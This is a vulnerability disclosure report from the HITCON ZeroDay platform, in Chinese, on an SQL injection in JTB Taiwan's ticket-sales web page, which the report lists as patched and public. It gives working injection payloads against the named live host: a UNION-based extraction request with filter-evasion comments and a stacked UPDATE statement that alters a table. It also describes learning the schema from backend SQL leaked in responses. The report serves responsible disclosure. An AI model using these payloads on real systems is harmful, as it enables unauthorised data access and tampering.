Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2019-00957
- Vendor: 世帝喜旅行社股份有限公司
- Title: JTB台灣 售票網頁 SQL Injection
- Introduction: 可利用本漏洞竄改票券資料。
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2019/09/01 18:17:45 : 新提交 (由 AlaRduTP 更新此狀態)
- 2019/09/01 22:15:40 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/09/02 14:26:53 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/09/02 14:26:53 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/09/02 14:26:53 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/09/05 01:28:35 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/09/05 01:28:35 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/09/10 18:52:48 : 複測申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/09/10 21:24:38 : 確認已修補 (由 AlaRduTP 更新此狀態)
- 2019/09/14 03:00:04 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2019-00957
- 通報者:alardutp37259418 (AlaRduTP)
- 風險:中
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
相關網址
敘述
UNION Injections
透過 POST:
KEY: SEL_TRCITY
VAL: '/**/AND/**/1=2/**/UNION/*aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa*/SELECT NULL,NULL,'INJECT',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL --
POST /eWeb/cpn_jtbtaiwan/cpn_s1_1.asp HTTP/1.1
Host: www.jtbtaiwan.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 249
SEL_TRCITY='%2F**%2FAND%2F**%2F1%3D2%2F**%2FUNION%2F*aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa*%2FSELECT+NULL%2CNULL%2C'INJECT'%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL+--
可以替換 'INJECT' 取得資料庫部分資訊,
如:ServerName、CURRENT_USER、PERMISSIONS、local_net_address、InstanceDefaultDataPath ⋯⋯ 等等
UPDATE Injections
取得 Table 名稱
因為字串過濾,無法順利透過 Injection 取得 Table 的名稱。
在 這個網頁 (這個網址存在於某一個頁面或某份 .js 的註解中,這個 M_S_CPN.asp 的功能已經被某份 .js 取代)
選擇不同國家、城市、票種、分類時,網頁會做出 Request。
在 Response 中可以看到後端的 SQL 表達式。例如:
<?xml version="1.0" encoding="UTF-8" ?>
<root>
<TRCITY_CPN>
<Options Value='TYO'>
<![CDATA[東京]]>
</Options>
</TRCITY_CPN>
<SQL> SELECT DISTINCT T.CITY_CD, T.CITY_CNM, T.CITY_ENM FROM TRCITY T INNER JOIN TRCPN TC ON '/' + TC.MUT_CITY_CD + '/' LIKE '%/' + T.CITY_CD + '/%' INNER JOIN TRAREA A ON A.AREA_CD = TC.AREA_CD WHERE TC.SALE_CHK1 = 'Y' AND TC.WEB_PD = 'Y' AND GETDATE() BETWEEN TC.SALE_BDT AND TC.SALE_EDT AND EXISTS (SELECT D.CPN_SQ FROM TRCPSUBD D WHERE D.CPN_SQ = TC.CPN_SQ AND ISNULL(D.CPN_AMS, 0) > 0 AND AMRNK = '1') AND TC.MUT_NATN_CD Like '%JP%' ORDER BY T.CITY_ENM </SQL>
</root>
接著便可以找出 TRCPN、TAREA、TRCITY、TRCPCLS、TRCPMCLS、TRCPSUBD、TRNATN 等 Table 之間的關係,
與其(部分)Column 的名稱。
更新 Table
最後可以透過和 UNION 一樣的方式來更新表格。
例如更新洲別:
KEY: SEL_TRCITY
VAL: '/**/AND/**/1=2; UPDATE/**/TRAREA/**/SET AREA_CNM='HACKED' WHERE AREA_CD='003' --
換台好一點的 Server ,搶票開賣瞬間像被 DDoS。
等連上都已經售完。◢▆▅▄▃ 崩╰(〒皿〒)╯潰 ▃▄▅▆◣
修補建議
加強過濾。
不要把較為敏感的資訊寫入註解中、送到前端。